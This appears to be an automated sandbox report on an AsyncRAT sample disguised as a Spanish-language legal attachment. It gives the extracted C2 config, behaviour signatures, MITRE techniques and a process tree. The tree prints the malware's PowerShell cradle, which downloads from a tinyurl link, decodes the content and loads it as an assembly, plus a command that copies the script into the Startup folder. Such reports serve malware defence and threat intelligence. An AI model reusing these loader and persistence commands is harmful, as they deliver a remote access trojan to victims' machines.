asyncrat | 9465ccad9b77e9e73481a6b25c38f3bbecc89d996a5f7cb4082bd28bc845a505

Resubmissions

08/03/2024, 16:11

240308-tnc3wabd9710

08/03/2024, 16:05

240308-tjnzksbc737

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
08/03/2024, 16:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Adjunto Radicado NÂº 2958474820230413.rar
Size 2KB
Sample240308-tnc3wabd97
SHA256 9465ccad9b77e9e73481a6b25c38f3bbecc89d996a5f7cb4082bd28bc845a505
MD5 f1f90b16c380dcb8cdfe11867ba15928
SHA1 afd61955b022058917883489c769a0c49667f472
SHA512 3fae45de8844422e1eb29c9c5424e5ff41e57445da9b3170e4dd6bb0ee9eae61bc31fb34e45a597b7e84006594a58bb9e98643a1ade8176179db1a3d0dd61404
MD5 SHA1 SHA512

Score

10^/10

asyncrat febrary 22 rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

febrary 22

pooldiaz14.duckdns.org:6000

Mutex

Adminhgfjytrdjklcdsawzr

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Blocklisted process makes network request 6 IoCs

flow	pid	Process
55	5100	powershell.exe
58	5100	powershell.exe
61	5100	powershell.exe
62	1904	powershell.exe
63	1904	powershell.exe
65	1904	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Adjunto Radicado Nº 2958474820230413.VBS	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Adjunto Radicado Nº 2958474820230413.VBS	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Adjunto Radicado Nº 2958474820230413.VBS	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5100 set thread context of 3440	5100	powershell.exe	120
PID 1904 set thread context of 4572	1904	powershell.exe	121

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000_Classes\Local Settings	7zFM.exe

Suspicious behavior: EnumeratesProcesses 54 IoCs

pid	Process
1180	7zFM.exe
1180	7zFM.exe
1624	powershell.exe
976	powershell.exe
1624	powershell.exe
976	powershell.exe
976	powershell.exe
1624	powershell.exe
1180	7zFM.exe
1180	7zFM.exe
1180	7zFM.exe
1180	7zFM.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
1180	7zFM.exe
1180	7zFM.exe
620	powershell.exe
336	powershell.exe
336	powershell.exe
620	powershell.exe
336	powershell.exe
620	powershell.exe
1180	7zFM.exe
1180	7zFM.exe
1180	7zFM.exe
1180	7zFM.exe
1904	powershell.exe
1904	powershell.exe
1904	powershell.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
1180	7zFM.exe
1180	7zFM.exe
1180	7zFM.exe
1180	7zFM.exe
1904	powershell.exe
1904	powershell.exe
1904	powershell.exe
1904	powershell.exe
1904	powershell.exe
1904	powershell.exe
1904	powershell.exe
1904	powershell.exe
1180	7zFM.exe
1180	7zFM.exe
1180	7zFM.exe
1180	7zFM.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1180	7zFM.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeRestorePrivilege	1180	7zFM.exe
Token: 35	1180	7zFM.exe
Token: SeSecurityPrivilege	1180	7zFM.exe
Token: SeSecurityPrivilege	1180	7zFM.exe
Token: SeSecurityPrivilege	1180	7zFM.exe
Token: SeDebugPrivilege	976	powershell.exe
Token: SeDebugPrivilege	1624	powershell.exe
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeDebugPrivilege	336	powershell.exe
Token: SeDebugPrivilege	620	powershell.exe
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeDebugPrivilege	3440	RegAsm.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1180	7zFM.exe
1180	7zFM.exe
1180	7zFM.exe
1180	7zFM.exe
4300	notepad.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4300	notepad.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 3256 wrote to memory of 1180	3256	cmd.exe	89
PID 3256 wrote to memory of 1180	3256	cmd.exe	89
PID 1180 wrote to memory of 880	1180	7zFM.exe	95
PID 1180 wrote to memory of 880	1180	7zFM.exe	95
PID 1180 wrote to memory of 4320	1180	7zFM.exe	103
PID 1180 wrote to memory of 4320	1180	7zFM.exe	103
PID 1180 wrote to memory of 4300	1180	7zFM.exe	106
PID 1180 wrote to memory of 4300	1180	7zFM.exe	106
PID 880 wrote to memory of 1624	880	WScript.exe	107
PID 880 wrote to memory of 1624	880	WScript.exe	107
PID 880 wrote to memory of 976	880	WScript.exe	108
PID 880 wrote to memory of 976	880	WScript.exe	108
PID 1624 wrote to memory of 5100	1624	powershell.exe	111
PID 1624 wrote to memory of 5100	1624	powershell.exe	111
PID 1624 wrote to memory of 5100	1624	powershell.exe	111
PID 4320 wrote to memory of 620	4320	WScript.exe	114
PID 4320 wrote to memory of 620	4320	WScript.exe	114
PID 4320 wrote to memory of 336	4320	WScript.exe	116
PID 4320 wrote to memory of 336	4320	WScript.exe	116
PID 620 wrote to memory of 1904	620	powershell.exe	118
PID 620 wrote to memory of 1904	620	powershell.exe	118
PID 620 wrote to memory of 1904	620	powershell.exe	118
PID 5100 wrote to memory of 3440	5100	powershell.exe	120
PID 5100 wrote to memory of 3440	5100	powershell.exe	120
PID 5100 wrote to memory of 3440	5100	powershell.exe	120
PID 5100 wrote to memory of 3440	5100	powershell.exe	120
PID 5100 wrote to memory of 3440	5100	powershell.exe	120
PID 5100 wrote to memory of 3440	5100	powershell.exe	120
PID 5100 wrote to memory of 3440	5100	powershell.exe	120
PID 5100 wrote to memory of 3440	5100	powershell.exe	120
PID 1904 wrote to memory of 4572	1904	powershell.exe	121
PID 1904 wrote to memory of 4572	1904	powershell.exe	121
PID 1904 wrote to memory of 4572	1904	powershell.exe	121
PID 1904 wrote to memory of 4572	1904	powershell.exe	121
PID 1904 wrote to memory of 4572	1904	powershell.exe	121
PID 1904 wrote to memory of 4572	1904	powershell.exe	121
PID 1904 wrote to memory of 4572	1904	powershell.exe	121
PID 1904 wrote to memory of 4572	1904	powershell.exe	121

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Adjunto Radicado NÂº 2958474820230413.rar"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3256
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Adjunto Radicado NÂº 2958474820230413.rar"
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1180
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zOC94BBA57\Adjunto Radicado Nº 2958474820230413.VBS"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -c "$RR = {$L = (iwr 'https://tinyurl.com/5t2f3nkw' -UseBasicParsing).Content;For ($i=0; $i -lt $L.Length; $i++) {$L[$i] = [System.BitConverter]::GetBytes($L[$i] - 1241)[0];};[System.Reflection.Assembly]::Load($L).CreateInstance('B');};If($env:PROCESSOR_ARCHITECTURE -ne 'x86'){$J = Start-Job $RR -RunAs32;$J | Wait-Job | Receive-Job}Else{$RR.Invoke();}"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1624
    - - \??\c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
        
        "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        5⤵
        Blocklisted process makes network request
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5100
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\7zOC94BBA57\Adjunto Radicado Nº 2958474820230413.VBS' -Destination ([System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Startup))"
      4⤵
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:976
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zOC9456887\Adjunto Radicado Nº 2958474820230413.VBS"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -c "$RR = {$L = (iwr 'https://tinyurl.com/5t2f3nkw' -UseBasicParsing).Content;For ($i=0; $i -lt $L.Length; $i++) {$L[$i] = [System.BitConverter]::GetBytes($L[$i] - 1241)[0];};[System.Reflection.Assembly]::Load($L).CreateInstance('B');};If($env:PROCESSOR_ARCHITECTURE -ne 'x86'){$J = Start-Job $RR -RunAs32;$J | Wait-Job | Receive-Job}Else{$RR.Invoke();}"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:620
    - - \??\c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
        
        "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        5⤵
        Blocklisted process makes network request
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1904
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:4572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\7zOC9456887\Adjunto Radicado Nº 2958474820230413.VBS' -Destination ([System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Startup))"
      4⤵
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:336
- - C:\Windows\notepad.exe
    "C:\Windows\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\7zOC94897D7\Adjunto Radicado Nº 2958474820230413.VBS"
    3⤵
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:4300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 57KB
SHA256 2bfd8c972f6bb05ae1adca5237a7210d569fb1f9662ad4dd6bfc4e00e88d17ba
MD5 6c73df1bb0c83bf158c1aebc058fbdd2
SHA1 c3f64dbe2337cf4be331efaed86e600076d613cf
SHA512 a9093e7a6808cbe9aa86eb9eb1d50513e942800da5ffc9685c670a34d2349019caa65705dcd6e959de4b066673e3c45b64b5a94b7589c057817ec61eb65188e6
SSDEEP 1536:u5C+jH04tAHkjUpx9SMrxyNhftflJdGYoFi3j39MVvjMlUstzyhNOwUp7bNvv+EN:eC+jH04tAHkjUpxwMrxyNhftflJdGYow
MD5 SHA1 SHA512 SSDEEP

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 da32a79a8e04cbafb1c5980b3d6225f4705010df5eb45d464cd5bf6b642d7841
MD5 93678e82d776686aa54c42b8a98e6cbc
SHA1 802939dfed99ac74814c4371388b204c5810241d
SHA512 0b412a1e11c0639d72f6a58c661ecc43da021c010c4d1e66051c5a376ebab287480bbf663345c9bd2a79ec3a35a9788cf04d74d612449f76fe2c87576cd13520
SSDEEP 1536:XC+jH04tAHkjUpx9SMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa7:XC+jH04tAHkjUpxwMrxyNhftflJdvYoy
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 50392db8d91a32d005a42c948cd844a98ceb77cd75568fbfbaa8502cd7e647d9
MD5 1210cebda73d42bf3b89b886f675d028
SHA1 095f6fa5607982484cbcee91ccf11baf2838b3ae
SHA512 34eed18a950414e747d1f66c49901747e1e1b939293df073e38dbc1e5c650a837828de9326014bc833131ccacb4a436258eb0b9c1823e1e4273ff0fb8ebeb99a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9d6a84890cc592eee811a3543d27900116c3434cdc06e61b838be98287d2460a
MD5 a8741a9f10cda1c211da7dcf3fd66f05
SHA1 d5b42e4db9369ffd9e514e94d0d4ce7fc5d31cf8
SHA512 f06d6784f392a22a556fadae6e7dfc563a8c8993531b2ac5c68da127b6ad8f6a52ed558c06704626aba68c7ad1dc1aa72fa66b248c9ce9d2ea57532aaa77497a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
MD5 50a8221b93fbd2628ac460dd408a9fc1
SHA1 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA512 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
MD5 SHA1 SHA512

Submit Download

Adjunto Radicado Nº 2958474820230413.VBS

Path C:\Users\Admin\AppData\Local\Temp\7zOC94BBA57\Adjunto Radicado Nº 2958474820230413.VBS
Size 38KB
SHA256 e006c255d66a4eba50c26fffddda6f415d165a16eff5658413312d05c5f50173
MD5 694130ab2fc09dcc214552889aace006
SHA1 22d21b70a2a9627f71e3d01ad12a9c216a3d8fd0
SHA512 e84f4895186ac40ea5fb8b980ffcd91a1e5b6aac5814040113be35342f0555e25414887c1f466e57e2512d85f06b5b40848687eda76fb259787d21b35bd5c329
SSDEEP 192:MzG4jyGd5rXKrRAOjjFxK1T3KrpKrNZFkcKhmU:MzG4jyGLrKrqOjiBKrpKrNgjX
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_ku5ghr1i.ozz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ku5ghr1i.ozz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/336-91-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

Download

memory/336-93-0x000002013D680000-0x000002013D690000-memory.dmp

Download

memory/336-98-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

Download

memory/620-134-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

Download

memory/620-124-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

Download

memory/620-125-0x0000015353DC0000-0x0000015353DD0000-memory.dmp

Download

memory/620-126-0x0000015353DC0000-0x0000015353DD0000-memory.dmp

Download

memory/620-92-0x0000015353DC0000-0x0000015353DD0000-memory.dmp

Download

memory/620-90-0x0000015353DC0000-0x0000015353DD0000-memory.dmp

Download

memory/620-85-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

Download

memory/976-40-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

Download

memory/976-35-0x00000232183F0000-0x0000023218400000-memory.dmp

Download

memory/976-32-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

Download

memory/976-33-0x00000232183F0000-0x0000023218400000-memory.dmp

Download

memory/976-18-0x000002327DE90000-0x000002327DEB2000-memory.dmp

Download

memory/1624-120-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

Download

memory/1624-34-0x0000011A7A1B0000-0x0000011A7A1C0000-memory.dmp

Download

memory/1624-73-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

Download

memory/1624-36-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

Download

memory/1624-41-0x0000011A7B780000-0x0000011A7B8F6000-memory.dmp

Download

memory/1624-42-0x0000011A7BB10000-0x0000011A7BD1A000-memory.dmp

Download

memory/1624-66-0x0000011A7A1B0000-0x0000011A7A1C0000-memory.dmp

Download

memory/1904-99-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/1904-130-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/1904-101-0x0000000004F60000-0x0000000004F70000-memory.dmp

Download

memory/3440-115-0x00000000007D0000-0x00000000007E2000-memory.dmp

Download

memory/3440-117-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/3440-139-0x0000000004FF0000-0x0000000005000000-memory.dmp

Download

memory/3440-138-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/3440-121-0x0000000004FF0000-0x0000000005000000-memory.dmp

Download

memory/4572-137-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/4572-135-0x0000000002FD0000-0x0000000002FE0000-memory.dmp

Download

memory/4572-131-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/5100-45-0x00000000045D0000-0x00000000045E0000-memory.dmp

Download

memory/5100-61-0x0000000005BC0000-0x0000000005BDE000-memory.dmp

Download

memory/5100-116-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/5100-114-0x0000000006940000-0x00000000069DC000-memory.dmp

Download

memory/5100-46-0x00000000045D0000-0x00000000045E0000-memory.dmp

Download

memory/5100-48-0x0000000005240000-0x0000000005262000-memory.dmp

Download

memory/5100-113-0x00000000077F0000-0x0000000007D94000-memory.dmp

Download

memory/5100-43-0x0000000004500000-0x0000000004536000-memory.dmp

Download

memory/5100-44-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/5100-60-0x00000000055F0000-0x0000000005944000-memory.dmp

Download

memory/5100-62-0x0000000005C60000-0x0000000005CAC000-memory.dmp

Download

memory/5100-78-0x0000000074570000-0x0000000074D20000-memory.dmp

Download

memory/5100-112-0x0000000006800000-0x000000000684E000-memory.dmp

Download

memory/5100-63-0x0000000006BC0000-0x000000000723A000-memory.dmp

Download

memory/5100-64-0x0000000006380000-0x000000000639A000-memory.dmp

Download

memory/5100-55-0x0000000005480000-0x00000000054E6000-memory.dmp

Download

memory/5100-100-0x00000000045D0000-0x00000000045E0000-memory.dmp

Download

memory/5100-49-0x00000000052E0000-0x0000000005346000-memory.dmp

Download

memory/5100-47-0x0000000004C10000-0x0000000005238000-memory.dmp

Download